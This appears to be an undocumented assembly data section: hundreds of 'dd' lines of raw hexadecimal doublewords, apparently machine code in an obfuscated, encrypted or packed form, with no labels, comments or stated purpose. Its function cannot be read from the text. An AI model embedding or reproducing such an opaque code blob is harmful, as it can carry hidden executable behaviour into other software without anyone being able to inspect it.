		dd 0E99D8BFEh, 8D07E40Eh, 0EB673885h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 8DA1AF80h, 0EF406B4Fh, 8B669046h, 0D2B250F9h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0C3F95BA0h, 0C3DACFF8h, 0FCB63493h, 2C3595FFh, 6A07E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 86DEDAC3h, 0C00BFFDCh, 35840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D8989C3h
		dd 7E43075h, 598D2356h,	5A07E42Bh, 15E9h, 0C59D8B00h, 0E907E420h
		dd 0FFFFFAA6h, 18B0Fh, 66F90000h, 0B58DCF8Bh, 7E472B7h
		dd 0DE58D33h, 0B807E4h,	0F000000h, 68Dh, 39858900h, 0FF07E431h
		dd 57006AE6h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0ED2268C8h, 253A3B77h, 9D8B3C42h, 7E4140Dh
		dd 29E9C18Bh, 72000039h, 0CEE4789Ah, 2B41D5F5h,	8BA1354Fh
		dd 0EE0498ACh, 8A63F713h, 0F410EB64h, 52704A60h, 0B4CAA8BEh
		dd 152D0A20h, 0A11ECE81h, 13A9CEDAh, 54A43378h,	17F49277h
		dd 0A0F48B08h, 0F9621442h, 0BBCD68A0h, 65ACC4A1h, 7A5621AAh
		dd 38502Dh, 0AAC50C65h,	61795621h, 7A9A7311h, 7D4E9368h
		dd 165D7D56h, 35922092h, 4159ABCBh, 77E0692Fh, 94CBAF1Fh
		dd 0D3EBE0EFh, 7C56F193h, 0D932522Bh, 0B618AA92h, 37C8B644h
		dd 0E24DE0DFh, 1442411Dh, 693E50B9h, 165D7D56h,	785621AAh
		dd 7D5C2A62h, 2AF33169h, 3634367Ah, 0EBB8DC4h, 8FA13385h
		dd 0E893D3BAh, 0A0720986h, 77E01442h, 79569065h, 42A0AD4Fh
		dd 6ABA2314h, 0A8E1BFF8h, 1C2EBEDEh, 450AC147h,	0AC108203h
		dd 0FAA1C5FAh, 0A444192Bh, 0F193D327h, 0AD4F7956h, 231442A0h
		dd 3B94A887h, 87E9D9F4h, 42A0750Ah, 6678E114h, 61795691h
		dd 567D4E1Ah, 0AA1B6278h, 62785621h, 0B618AA1Bh, 0B5203E18h
		dd 1442A0CEh, 0B897238Ch, 0BFD16CA4h, 880E45EAh, 93D317B4h
		dd 576B4AE8h, 78567045h, 7D4E1B62h, 0F5F7B56h, 40789871h
		dd 0DBCAA69Eh, 6BC4C30Eh, 20928459h, 8BA6F46Dh,	16C5D730h
		dd 5F7B565Fh, 5B0AC118h, 0E893D370h, 0A0720986h, 77E01442h
		dd 79569065h, 21AA1A61h, 175E7C56h, 9C7A18AAh, 0A1B34E86h
		dd 0D3EBE0CCh, 7856F193h, 0E5DD1B62h, 19516B47h, 0FD15F27Eh
		dd 785616EBh, 5C661B62h, 0B8CAE0BEh, 627856E3h,	567D4E1Bh
		dd 0B0126278h, 42A04C33h, 8F6E0A14h, 3B10227Bh,	785621AAh
		dd 33B01262h, 1442A04Ch, 0A2DAF2CFh, 3B4DB607h,	560AC166h
		dd 0C11B6278h, 92705B0Ah, 75F33C20h, 0F204291Ah, 92731155h
		dd 0B0327720h, 54662906h, 0CE4B603Ah, 14425E29h, 5E5229A6h
		dd 97001442h, 3D84DD46h, 0F4920AC1h, 0D2ECFE18h, 0F08EDEF4h
		dd 10E5F717h, 4177F2D9h, 1914425Fh, 1B627856h, 78567D4Eh
		dd 85A01262h, 2155BEA7h, 0C1EABFD1h, 4F79560Ah,	1442A0ADh
		dd 39B0B323h, 5A663C0Fh, 0AC1BA01h, 93D314B7h, 2F7856F1h
		dd 69043C50h, 0F2D9C910h, 1B627856h, 9512744Eh,	1442A0EEh
		dd 1CF1036Ch, 19607A56h, 7D5621AAh, 0EEDD165Dh,	19607A56h
		dd 44776566h, 14144240h, 10607A56h, 77A26E9Eh, 0AD48809Ch
		dd 0BE61244Dh, 7D4ED7ACh, 19607A56h, 367721AAh,	0FDEBBD5Fh
		dd 0EBCFF8Bh, 7183A267h, 6179569Ch, 677D5B29h, 6E82612Fh
		dd 0D79E9B36h, 0E7E6E3AFh, 56F193D3h, 9219607Ah, 0F3CE15F4h
		dd 0AB049FD7h, 0FF9D7799h, 33CE0626h, 78564C21h, 21AA1B62h
		dd 45B3CE77h, 1BF795E0h, 1C2EC901h, 44E2E047h, 6A3F5165h
		dd 0CCB33092h, 8A1442A0h, 0C0F812EEh, 0FF7CCC25h, 1442A078h
		dd 0BE5B6DD6h, 1461D386h, 6843CFECh, 56FACFE1h,	7210607Ah
		dd 0AA457D95h, 7D4EC398h, 8F202092h, 9BCDE959h,	15876D89h
		dd 0AD851762h, 0D0A5B719h, 3B777754h, 0A1442BFh, 80542BA8h
		dd 99021442h, 7856B287h, 0E33C502Fh, 0CF16F593h, 39ED6F6h
		dd 0AAC398AAh, 6B09B921h, 0A03B7391h, 3092B98Eh, 0DB2266BEh
		dd 0ECFE9748h, 42ED0CF3h, 0EC69CB14h, 1442ED17h, 344827C3h
		dd 0F60861FCh, 9267AE17h, 0A0CCB330h, 307B1442h, 9D061F9Ah
		dd 1693F344h, 1442E161h, 0CB2B84EDh, 76BEA32Fh,	0BEE0F264h
		dd 0B82277EDh, 53F11442h, 910E5E76h, 1442B9EAh,	18EDFF68h
		dd 1A617956h, 12B921AAh, 0B5923092h, 0ED928B9Dh, 6A1442A0h
		dd 30EE73F8h, 43D93955h, 0CBE7C26Bh, 8D9FF893h,	1A3812AEh
		dd 0F4927AC1h, 9472FE18h, 794A6C7Eh, 42DD5177h,	77562914h
		dd 97751363h, 929A6F81h, 0ECCB18F4h, 0AC477FD8h, 182A4420h
		dd 0DF4EC052h, 9C1774F7h, 0EB17F8h, 227B9E7Bh, 79563B10h
		dd 658E2961h, 6E1592BEh, 0EC1442A0h, 7D4E3C83h,	0D9EDCCBAh
		dd 5C67445h, 42A08077h,	0E6E55814h, 4AE893D3h, 7045576Bh
		dd 115F492h, 61DE2EC9h,	1442A09Ah, 0FBBDCF38h, 5E7C566Ah
		dd 0F00D9C0Eh, 0FD43813Eh, 309216EBh, 0AA7135BEh, 3EA9E655h
		dd 14429CB9h, 859B7915h, 985FDC2Ch, 3614429Ch, 6CF5BBCDh
		dd 159212B9h, 1442A06Eh, 4E3C83ECh, 607A567Dh, 9221AA19h
		dd 0ECFE18F4h, 6DAE42F3h, 9573114Dh, 56986D7Fh,	4E19607Ah
		dd 697A567Dh, 42A017ECh, 15AC314h, 1AF492BAh, 9B24EAFCh
		dd 0AC85239Fh, 0AA86548Ch, 46D73790h, 0F6E7ED58h, 0D3DAAFC1h
		dd 744EF193h, 0A0EE9512h, 36C1442h, 7A561CF1h, 199E1060h
		dd 2D4522ADh, 45FA5AF5h, 5227391Eh, 2C9F21AAh, 4EF193D3h
		dd 607A567Dh, 7D957210h, 7F9D7745h, 0A259D626h,	301442A0h
		dd 0AAE0B5C7h, 4239B618h, 101442A0h, 77C095A7h,	4A898CDBh
		dd 0D30BC0B3h, 986E893h, 1442A072h, 906577E0h, 16F492h
		dd 11B2DC8h, 4EC40B25h,	597A567Dh, 0CE225677h, 3C520B89h
		dd 11900868h, 920047A0h, 0EDFF17F4h, 7C569E27h,	7D4E175Eh
		dd 19607A56h, 0F4927D4Eh, 0CFE9FB1Bh, 0AA93DAF2h, 0FF057721h
		dd 56D5049Ch, 921A6179h, 0A0CCB330h, 218A1442h,	0A0AF54D1h
		dd 0C22B1442h, 56BD8EB0h, 92175E7Ch, 0C80016F4h, 47370226h
		dd 0C9229C94h, 5668F1B7h, 0AA1A6179h, 607A5621h, 667C5A28h
		dd 6787602Eh, 0AFE3A36Ah, 93D3B3B2h, 213076E8h,	0B4F88A15h
		dd 0F492CDA2h, 29C4FC1Ah, 523FD17h, 72092BEh, 5D4540D6h
		dd 639BB792h, 3B5D6FC8h, 0AA12B96Ah, 61795621h,	927D4E1Ah
		dd 0C7FF17F4h, 0A0C3B835h, 268F1442h, 5011BBCDh, 42A08077h
		dd 5E6D5814h, 0AEF193D3h, 5E7C561Dh, 9221AA17h,	0AC3D120h
		dd 65777F63h, 4C256C4Bh, 0E562F42Ch, 1442D51Eh,	0A1FA53BCh
		dd 6D21AA5Ah, 0E893D35Eh, 43556D4Ah, 2B7C566Eh,	8ADA3351h
		dd 0D9EC13ECh, 95D7AA3Bh, 6946D22Bh, 6C7E1951h,	567D4E97h
		dd 0AA1B6278h, 4239B618h, 101442A0h, 25DA57A7h,	0B11442A0h
		dd 77613648h, 49CFF05h,	2F7856D5h, 20D3253h, 9B38C76Ah
		dd 166F0A42h, 567D4ECFh, 0AC0E5E7Ch, 42A0482Fh,	8B9D0614h
		dd 5621AAB6h, 0A4CB5B78h, 3C38487Ah, 21AA9CE3h,	93D35E6Dh
		dd 5E7C56F1h, 567D4E17h, 9EE6B78h, 0C51442A0h, 41B3035Ch
		dd 0CCC81D4Dh, 754A5CD0h, 474D7D4Eh, 0A81E1B60h, 3A54B4CAh
		dd 4289E25Ah, 115F492h,	561C2EC9h, 617956CDh, 567D4E1Ah
		dd 4E175E7Ch, 0E3F7D674h, 51637957h, 0B34B777Ch, 56231442h
		dd 0AE10607Ah, 42A04A31h, 0CA980814h, 6D4DF3C8h, 0F3C8DA33h
		dd 0CCB33092h, 8A1442A0h, 0C0490F21h, 926B09B9h, 8D9F3A72h
		dd 6E1592B8h, 0EC1442A0h, 7D4E3C83h, 7A5605C6h,	20921960h
		dd 26D6BF9Dh, 9EC0D291h, 1EE562C4h, 0BC1442DFh,	926C4153h
		dd 0C80016F4h, 25011B2Dh, 21AAC40Bh, 42A08077h,	5E6D5814h
		dd 56F193D3h, 4E19607Ah, 16F4927Dh, 69D3A000h, 7840600Ch
		dd 56704C66h, 7721AA0Fh, 1442A080h, 5F7B5658h, 647C5927h
		dd 7E26ED2Ch, 0CB2D3532h, 42A0A94Eh, 0F50DEA14h, 54293BA4h
		dd 92F193D3h, 9C626320h, 495B1023h, 0E939532Fh,	43556F4Bh
		dd 927D4E6Eh, 0EFCA19F4h, 0A7009BD3h, 529F7B95h, 92245C76h
		dd 42A06E15h, 2A83EC14h, 21AA8AD1h, 439709B9h, 4B5F3E88h
		dd 2F6759EBh, 3092481Dh, 0A0AA51CEh, 0C8281442h, 42A0B44Bh
		dd 60B92214h, 0A0AE554Eh, 8F2D1442h, 0A88799B3h, 18AAF83Fh
		dd 0A04239B6h, 4011442h, 9440FFBCh, 7284ED3Eh, 6402C09Dh
		dd 9A356D89h, 93D3B388h, 607A56F1h, 927D4E19h, 42A06E15h
		dd 5A83EC14h, 182E0CAAh, 18AA3106h, 4A82A07Ah, 56C89DAFh
		dd 9219607Ah, 0EECD16F4h, 0A96F81DAh, 0D30BC020h, 12B9F193h
		dd 0A06E1592h, 83EC1442h, 927D4E3Ch, 0ECFE18F4h, 95DCF6D2h
		dd 12B921AAh, 0A06E1592h, 50EC1442h, 87225A74h,	21AAE72Eh
		dd 93D30BC0h, 607A56F1h, 0AE7D4E19h, 1BF4921Dh,	0F0CFE9FBh
		dd 0AD2A8CDCh, 1442A0D6h, 0F00EE884h, 0B2C41DB8h, 0A618AADDh
		dd 0F67B1236h, 5DAEC1Ch, 275F7B56h, 92BC638Ch, 0C6FE18F4h
		dd 0A0C0B734h, 258E1442h, 470C6CCCh, 82EEC8DDh,	6E159270h
		dd 0ED14424Ch, 9C9EAD7Bh, 0DBEDE5B5h, 924C93FCh, 0E9FB1BF4h
		dd 0E8BEDC7h, 1442A069h, 0CCAD75E5h, 0A2D68290h, 92623749h
		dd 0C90115F4h, 57231C2Eh, 61442A0h, 0FE7B8C68h,	1442A079h
		dd 1136CD5h, 0B330922Ch, 1442A0CCh, 0F50F218Ah,	4EBB0216h
		dd 6179567Dh, 7A18AA1Ah, 0AF4A82A0h, 7756C89Dh,	9B751363h
		dd 0AA966B7Dh, 879B7A18h, 4D28B44Fh, 564A1F31h,	58265E7Ch
		dd 0E8275F7Fh, 8E2D6521h, 0ED2092D3h, 0E6292617h, 9EC66375h
		dd 617956E4h, 0B97D4E1Ah, 5621AA12h, 0B1136377h, 42A04F34h
		dd 90A20B14h, 0C67D4EBBh, 0A0807705h, 6D581442h, 0BFDDB755h
		dd 8260EC87h, 0D3855A6Ch, 1DAEF193h, 0ED6A7956h, 1442A016h
		dd 304E28C4h, 576D4BD7h, 0E42B841Fh, 817721AAh,	591442A0h
		dd 93D3418Ah, 176A95F1h, 0CA2CE05Ch, 42A2B64Dh,	2BB42414h
		dd 63E78CD7h, 0F594A6FFh, 2F2h,	50997715h, 89245C72h, 0D5DF830h
		dd 422DEB90h, 0ECFE6714h, 5F7B5617h, 4B30AD0Fh,	71442A0h
		dd 1F788C6Bh, 21AA380Dh, 42A08777h, 7B565714h, 7D4E185Fh
		dd 42FC2A77h, 20920214h, 14613F28h, 0D99FCFAEh,	0AA59E36h
		dd 1FE461B1h, 0BB144296h, 4A264052h, 0C6757B29h, 0AD060F7Ah
		dd 0B921AA66h, 6E159212h, 0EC1442A0h, 0C69FD57Ch, 166FCAE3h
		dd 19F492CFh, 182AC5FDh, 209225F6h, 748FED56h, 0C9698B39h
		dd 0C6121F7Fh, 28453E50h, 0B45DD833h, 19607A56h, 7A567D4Eh
		dd 879E1060h, 0FB0DBC0Bh, 0C8E7D37Eh, 0FF58EEC8h, 6D7F9573h
		dd 7721AA98h, 0AFA55527h, 0D35E6DF7h, 0F492F193h, 0CFE9FB1Bh
		dd 0EB89D9F3h, 0F810F10Ch, 4B0375EBh, 0D1FBAF2h, 17F49238h
		dd 7A9A73FFh, 56754668h, 35552E79h, 10EE8CDCh, 0A812BF3h
		dd 2A838A6Fh, 0ECCB57F2h, 0F305A0D8h, 9221AA1Eh, 0C7FF17F4h
		dd 24001A2Ch, 21AAC30Ah, 93D3E6E5h, 1AF492F1h, 1729C4FCh
		dd 0FAD520FDh, 4E3E85DEh, 0DFFBD674h, 7A56F8CDh, 0A017EC69h
		dd 5AC31442h, 2092BA01h, 37904E57h, 837E5048h, 0AD797F17h
		dd 0D1EDC854h, 56CC9DBFh, 0AA1A6179h, 0B3309221h, 1442A0CCh
		dd 0F50F218Ah, 0AAB7FE1Ah, 0BC54A618h, 50A51E99h, 556D693Eh
		dd 4BC8DDB7h, 1442A0B4h, 4E60B922h, 0F193D379h,	785A7956h
		dd 3BF12538h, 0D70F2F08h, 3A8AE33Ch, 6FA7BF9Ch,	92EDC2D4h
		dd 0A0CCB330h, 218A1442h, 7513ED0Fh, 976C7E9Ah,	1A617956h
		dd 0B17721AAh, 8911C0E5h, 115C7756h, 72D5C2C0h,	26C80059h
		dd 0C1E857A3h
		dd 280591BDh, 0F774D810h, 7F8E034Fh, 0FB1BF492h, 791628C3h
		dd 771C8ECDh, 4721A836h, 0ED0BE571h, 795606DBh,	7D4E1A61h
		dd 0F49212B9h, 27EDFF17h, 5F7B569Eh, 567D4E18h,	0AA1C6377h
		dd 0E7CBA618h, 1292F210h, 20922B00h, 0F5FA526h,	7DCDB9h
		dd 1442D27Bh, 0B25C6ED7h, 637756F1h, 567D4E1Ch,	0AA1C6377h
		dd 16F49221h, 7ED7F1CDh, 4037B446h, 0E1442A0h, 413A4CA5h
		dd 1442A0BAh, 83A17B19h, 556D9C71h, 0A08176F3h,	0EE3E1442h
		dd 0DAB16362h, 0ABBD2677h, 0B33092D6h, 1442A0CCh, 859734Fh
		dd 0B4F08D9Fh, 0B330920Eh, 1442A0CCh, 3E991A8Ah, 7ADAEEC6h
		dd 16F50F21h, 7D4EBB02h, 0FD19F492h, 0FE182AC5h, 59BB0B1Fh
		dd 42A027DCh, 384AB314h, 0A618AA63h, 520027BBh,	6B405251h
		dd 42A08077h, 5E6D5814h, 76E893D3h, 0CE4BAA66h,	36195D3Eh
		dd 795BE1CCh, 56390E20h, 921C6377h, 0A0CCB330h,	218A1442h
		dd 0B91CED0Fh, 5621AA12h, 0AA1C6377h, 9212B921h, 42A06215h
		dd 7754F014h, 0FE36502Ch, 40D20A63h, 42A03CC3h,	0D8319A14h
		dd 7D4E387Fh, 1C637756h, 1DAE7D4Eh, 0F069Eh, 79562D00h
		dd 23A502Eh, 4CBE0E67h,	2749DAB8h, 0D2A7B9DCh, 8F7721AAh
		dd 5F1442A0h, 93D3418Ah, 176A95F1h, 0CA2CE05Ch,	42A2B64Dh
		dd 47B42414h, 0AB26A8BBh, 6C0B1D76h, 614h, 597A5695h, 4B449099h
		dd 337AD3C6h, 39B618AAh, 1442A042h, 0C095A710h,	16F492h
		dd 0E0F6D4EEh, 7721AA99h, 3DBB784h, 2F785654h, 99E03953h
		dd 20927D4Eh, 0B6BDB784h, 251E308Ch, 4B00FA1Ch,	607A5648h
		dd 567D4E19h, 0AA19607Ah, 62785621h, 7F977412h,	0C59AAC47h
		dd 5E6D21AAh, 86E893D3h, 42A07209h, 6577E014h, 607A5690h
		dd 0B97D4E19h, 9221AA12h, 0A0CCB330h, 0EE8A1442h, 8C9EF713h
		dd 78779472h, 165B5F79h, 4E79C019h, 9205C67Dh, 0E9C81BF4h
		dd 0A9447CD5h, 0A0D99E97h, 0D8761442h, 0BCD6B2F9h, 7E90E984h
		dd 925E6DA9h, 0EDFF17F4h, 0AE6E1450h, 607A561Dh, 79997210h
		dd 0BC5F9F41h, 7E745296h, 0AA3E1325h, 7F0E4521h, 0DBED03E1h
		dd 0D317B406h, 7A56F193h, 7D4E1960h, 0CCB33092h, 8A1442A0h
		dd 19F50F21h, 963DAFFFh, 0CA7009BDh, 0AA9B7082h, 1BF49221h
		dd 1628C3FBh, 42A0631Dh, 3D80F214h, 64D33613h, 0C2582D3Fh
		dd 0F193D309h, 4E2D7A56h, 0A031C643h, 349D1442h, 7C08A3DBh
		dd 0B44F879Fh, 744E145Bh, 0A0EE9512h, 6E5D1442h, 0BE8A212Dh
		dd 127BCCh, 607A562Bh, 19209219h, 65B85248h, 97BDFC5Ch
		dd 9B453FAEh, 773AC389h, 5093A2B9h, 6BDDE591h, 0A2A274D3h
		dd 0FFD4E683h, 56F193D3h, 9219607Ah, 9DB59230h,	42A04D32h
		dd 0D9F1CE14h, 4CB506A1h, 0A03E183Ah, 0C69BADC1h, 0FB1BF492h
		dd 18F5C3h, 22421BA7h, 1AF610h,	7721AAB9h, 82DD18E5h, 0D30BC0B5h
		dd 0F492F193h, 0CFE9FB1Bh, 4E92D9F3h, 6179567Dh, 16F4921Ah
		dd 9F28EE00h, 0EAAD9777h, 0DDE56756h, 3446663Fh, 0F193D35Fh
		dd 0CCB33092h, 8A1442A0h, 0A0D6AD2Ah, 1B841442h, 0B996B0C2h
		dd 20925AA1h, 0D3136F8h, 3B5D6FCEh, 18F4926Ah, 0F5D2ECFEh
		dd 0A09269E6h, 0D7401442h, 21AA377Eh, 0ABE3C377h, 0E6E59B7Dh
		dd 56F193D3h, 4E1A6179h, 6179567Dh, 5621AA1Ah, 0AA19607Ah
		dd 0D35E6D21h, 7956F193h, 0A016ED6Ah, 5BC41442h, 7D4EBB02h
		dd 0EE6B7856h, 1442A009h, 0A0B249C6h, 0B7201442h, 5DA4FD66h
		dd 0F49221AAh, 0F0E9FB1Bh, 7DABE348h, 46209214h, 4C5D7FE9h
		dd 512F495Bh, 0D9112D08h, 4E9EE53Eh, 6179567Dh,	17F4921Ah
		dd 9E27EDFFh, 12627856h, 1C3612B0h, 19DE49E4h, 0B51442A0h
		dd 0AA653A4Ch, 0D35E6D21h, 7956F193h, 7D4E1A61h, 12627856h
		dd 0F17D9974h, 29C4FC14h, 7D4E4217h, 165D7D56h,	7E7721AAh
		dd 4E58B6A4h, 165D7D56h, 7D567D4Eh, 0BE3B502Ah,	1442A039h
		dd 9BD32C95h, 0E557A700h, 0B406EB43h, 0AA00B9B7h, 29B31272h
		dd 0AAF0C5D7h, 16F49221h, 1826C800h, 7F875D75h,	0DDD6E841h
		dd 26F2516Ch, 0D3E6E508h, 7D56F193h, 0F492165Dh, 0C7E9FB1Bh
		dd 5D7D56F6h, 4521AA16h, 17B4870Fh, 56F193D3h, 4E165D7Dh
		dd 567D567Dh, 14E4183Fh, 3C83DC9Bh, 209221AAh, 72748E3Bh
		dd 4F485ADBh, 61E5EC6Ch, 3EDCE6ECh, 410F4763h, 76114967h
		dd 0D3360B1Dh, 7D56F193h, 7D4E165Dh, 0FC1AF492h, 0D7F7D0EAh
		dd 7721AA90h, 6F91EA5Ah, 93B18B29h, 0FF112B07h,	6BDDE52Ah
		dd 0F514DF45h, 360B1D12h, 92F193D3h, 0A0CCB330h, 218A1442h
		dd 0FC1CF50Fh, 567D4EB5h, 0AA165D7Dh, 9F517721h, 0E529531Ah
		dd 0F193D3E6h, 165D7D56h, 9512744Eh, 1442A0EEh,	1CF1036Ch
		dd 165D7D56h, 209221AAh, 0F59E0865h, 261F31A7h,	7B96A147h
		dd 0D3E6E515h, 0F492F193h, 0D3EDFF17h, 0EC8ADAFAh, 11E6F80Eh
		dd 79567D4Eh, 0A016ED6Ah, 48C51442h, 1442A0B3h,	0FC65B61Fh
		dd 21AA5CA3h, 0E9667D56h, 1442A012h, 0B7FE57C0h, 5E6D21AAh
		dd 56F193D3h, 4E1A6179h, 0DDFDD674h, 7D56F6CBh,	0FD354D2Ah
		dd 4EC20962h, 607A567Dh, 4A31AE10h, 81442A0h, 4EB88D9Fh
		dd 5E7C567Dh, 0C621AA17h, 2B7C5605h, 60FB3351h,	7D4EC007h
		dd 0EA677C56h, 1442A015h, 0B8FF58C1h, 0F49221AAh, 0F0E9FB1Bh
		dd 1442A00Bh, 0D35E6DD1h, 6C4AE893h, 926F4456h,	0A0CCB330h
		dd 0EE8A1442h, 52A2FB0Fh, 42A02ED5h, 3143AC14h,	13EC3D17h
		dd 0C720BBF3h, 567D4E80h, 0AA175E7Ch, 0A0807721h, 0B14F1442h
		dd 0BE45C2D7h, 1C1442A0h, 73485AB3h, 93D3E6E5h,	5E7C56F1h
		dd 7896700Eh, 0BE93A540h, 64CE2092h, 0BD15AF07h, 2A3C5431h
		dd 9B93708h, 0A0552AA7h, 98011442h, 18AAB186h, 799C34A6h
		dd 99ABDDB9h, 5E7C56C4h, 0B921AA17h, 62159212h,	0F11442A0h
		dd 0A06D128Fh, 80E91442h, 0C90115F4h, 0D43D1C2Eh, 927D4E8Dh
		dd 0A0CCB330h, 218A1442h, 0FD1BF50Fh, 16F492B6h, 1B2DC800h
		dd 0A3811FF9h, 0AEA67B8Dh, 6377561Dh, 81977513h, 21AA9A6Fh
		dd 29617956h, 92BE658Eh, 1CFDBE30h, 517C6D72h, 87B1463Fh
		dd 801E1442h, 3F7F81A6h, 0E7B2F37Ah, 0A9BB568Eh, 4E1A61CAh
		dd 0F274777Dh, 92441442h, 0EDFF17F4h, 90E0F4D3h, 0A0CAB12Eh
		dd 1F881442h, 7D4E380Dh, 0B842092h, 6D46F3BDh, 4C64415Bh
		dd 7721AA05h, 7468F86h,	6BDDE556h, 7F60B291h, 582D3F1Dh
		dd 56F193D3h, 48705A79h, 8070791Dh, 0B44F87A7h,	4EBB025Bh
		dd 6179567Dh, 0B618AA1Ah, 42A04239h, 95A71014h,	637756C0h
		dd 15F4921Ch, 1C2EC901h, 0E6E5CD56h, 76E893D3h,	0D522423Dh
		dd 0DEA5229Bh, 7C144230h, 0D3A8BA13h, 1A617956h, 79567D4Eh
		dd 21AA1A61h, 468F8677h, 556D5607h, 0ADBFDDB7h,	0F193D3D8h
		dd 1A617956h, 0FF17F492h, 0A04D32AFh, 0A0091442h, 0B99B6C8Eh
		dd 5621AA12h, 4E1C6377h, 7705C67Dh, 1442A080h, 63775658h
		dd 6A7E5D2Bh, 5C23A032h, 0FA1442A0h, 98CC9591h,	0C10926D1h
		dd 116A0FE8h, 93D38D9Ch, 7614AEF1h, 0AB467E9Ch,	0B89EC499h
		dd 2D000008h, 42A21677h, 7B56E614h, 0DF384E2Ch,	0CBB02D8Fh
		dd 871442A0h, 0AA370C1Eh, 9212B921h, 0E9FB1BF4h, 0A0E98E0Bh
		dd 0C8661442h, 0CD9BD3EBh, 6A1D9EFh, 2A4621ADh,	664557F2h
		dd 7D4EB6FDh, 807705C6h, 581442A0h, 93D3E6E5h, 0C61DAEF1h
		dd 0A709B905h, 42A0552Ah, 24A10114h, 1442A05Fh,	273992FBh
		dd 6E159252h, 0ED1442A0h, 0A0690E8Bh, 7CE51442h, 0DB228B6Ah
		dd 77567D4Eh, 21AA1C63h, 42A08077h, 77565814h, 96751363h
		dd 4E9B7082h, 9212B97Dh, 42A06E15h, 3C83EC14h, 0CCB33092h
		dd 8A1442A0h, 1431C121h, 9E1B1ACh, 56A831F7h, 0AA1C6377h
		dd 925E6D21h, 0EE0016F4h, 0F4661551h, 0AD2A5039h, 14426AD6h
		dd 4ABB1B84h, 92A6B9AFh, 0ECCBCA11h, 0B9AC8193h, 6C59709h
		dd 69C9E5C0h, 676BF9A0h, 9FC83610h, 0F4C9DB34h,	0A06E1592h
		dd 83EC1442h, 18F4923Ch, 192BC6FEh, 5F3BD93Bh, 453A3345h
		dd 111442A0h, 0DCBA58A8h, 0E7C08EC6h, 875C6EC7h, 30927D4Eh
		dd 42A0CCB3h, 0CB0D7B14h, 0E0E9E8FCh, 0FA14268Fh, 0EC93101Bh
		dd 6A144250h, 4E61A801h, 42A10274h, 7B133F9Eh, 0F4929469h
		dd 2DC80016h, 0A26011Bh, 567D4EC3h, 710F5F7Bh, 2D097594h
		dd 0B520DDECh, 0AA754A5Ch, 0A0807721h, 0ED4F1442h, 0ED58744Fh
		dd 1442A016h, 4091AF89h, 54ADC9A4h, 556D6D42h, 0F36234E3h
		dd 8FA16DBBh, 0F193D3BAh, 0CA19F492h, 49FD7EBh,	0C6D873ABh
		dd 6EB5D1ACh, 7B567D4Eh, 18AA185Fh, 104BCA6h, 69B925B7h
		dd 420017ECh, 485AC314h, 0A0807773h, 0E5581442h, 0B33092E6h
		dd 1442A0CCh, 0F911EE8Ah, 0B5F18EA0h, 5F7B560Fh, 16F49218h
		dd 1B2DC800h, 0F49228F9h, 2EC90115h, 42A03CC3h,	8319A14h
		dd 8EE1BA58h, 2D3F98B2h, 9221AA58h, 71FD19F4h, 0AA457D93h
		dd 87A37E98h, 8221AA40h, 2FA847ABh, 0AF567F3Dh,	0A0621592h
		dd 80F01442h, 1D5DEDCh,	0D6DBA4F7h, 0BE0EC323h,	1590028Dh
		dd 0BD16B2ECh, 0E43D5331h, 567D4E9Dh, 4E185F7Bh, 6179567Dh
		dd 0BE658E29h, 1DAE21AAh, 1A617956h, 0F9A618AAh, 632A3E95h
		dd 0B9BF94A6h, 6E159212h, 0EC1442A0h, 245C7250h, 4EE93089h
		dd 577C567Dh, 3FCD6426h, 3980D9D6h, 8CA618AAh, 15F7D138h
		dd 92DF6E92h, 88CB1B32h, 4243740Bh, 2079E214h, 0F492390Eh
		dd 2EC90115h, 0A8EC231Ch, 92B41442h, 0C5FD19F4h, 0CF229023h
		dd 2C8504E7h, 0F3AA62CCh, 92A452BEh, 31819D78h,	0A1AD52CFh
		dd 0C0291442h, 21AAD9AEh, 209212B9h, 1B6E6835h,	7E5F7B3h
		dd 4252F58Ah, 0A8F86114h, 5232C946h, 37A01442h,	0E07D39D7h
		dd 1E30B470h, 927D4E49h, 0A0CCB330h, 218A1442h,	0FD9B650Fh
		dd 1FF40622h, 42A08077h, 0E6E55814h, 0AEF193D3h, 65DDA214h
		dd 5F0B221Ah, 42E71DE2h, 0F750B914h, 66DD3F97h,	8FA1EAD5h
		dd 667D56BAh, 0A0F08704h, 0F55E1442h, 42A0F58Ah, 0EAC56114h
		dd 0AE975CEh, 0AA569DF6h, 9212B921h, 42A06E15h,	0C27BED14h
		dd 0D09AB11Fh, 0A20BEAFCh, 707FE052h, 4E34CB48h, 39A21442h
		dd 88F5D6D9h, 7D4EA176h, 0CCB33092h, 8A1442A0h,	92160F21h
		dd 0EA34D7C0h, 16F492h,	0DBFBD4EEh, 927D4E94h, 0A0CCB330h
		dd 1A8A1442h, 47DC150h,	93A5FE62h, 38DB9C9Ah, 0F492F436h
		dd 30ADFD19h, 1442A04Bh, 728C9E07h, 4E347B97h, 0F0C00274h
		dd 4530FEBDh, 7F1A5266h, 923F1426h, 0C6FE18F4h,	24FF192Bh
		dd 21AAC108h, 51AF492h,	42A0F388h, 9DF65F14h, 0DD6ACA65h
		dd 6408AA4Dh, 57304A5Ch, 18AAF037h, 866941A6h, 30427F36h
		dd 0D30BC05Bh, 7B56F193h, 97710F5Fh, 94A64179h,	567D4EBFh
		dd 4E165D7Dh, 5F7B567Dh, 7721AA18h, 1442A085h, 0D309C255h
		dd 7B56F193h, 0F492185Fh, 2CC7FF17h, 5627F81Ah,	0AA185F7Bh
		dd 923F8C21h, 0EE0016F4h, 7B56FBCCh, 21AA185Fh,	42A08577h
		dd 35965514h, 56F193D3h, 4E185F7Bh, 0EE951274h,	6C1442A0h
		dd 849FA303h, 3C7180DEh, 2092552Ah, 58FA8FC1h, 20401966h
		dd 0C09BB5C7h, 0D9B654A4h, 54B64DCAh, 0BB241442h, 0AA7B5062h
		dd 82A07A18h, 0C89DAF4Ah, 0ECBC477h, 0E5E69439h, 0FE18F492h
		dd 7C192BC6h, 20929AC8h, 60A0C667h, 7F979999h, 1C1C98C2h
		dd 1F673C3h, 0CD14424Ah, 5D385264h, 744EFA41h, 93D7FCD6h
		dd 0AB4E3A11h, 963169C2h, 0DC142E0Ah, 565A2F41h, 0AA1A6179h
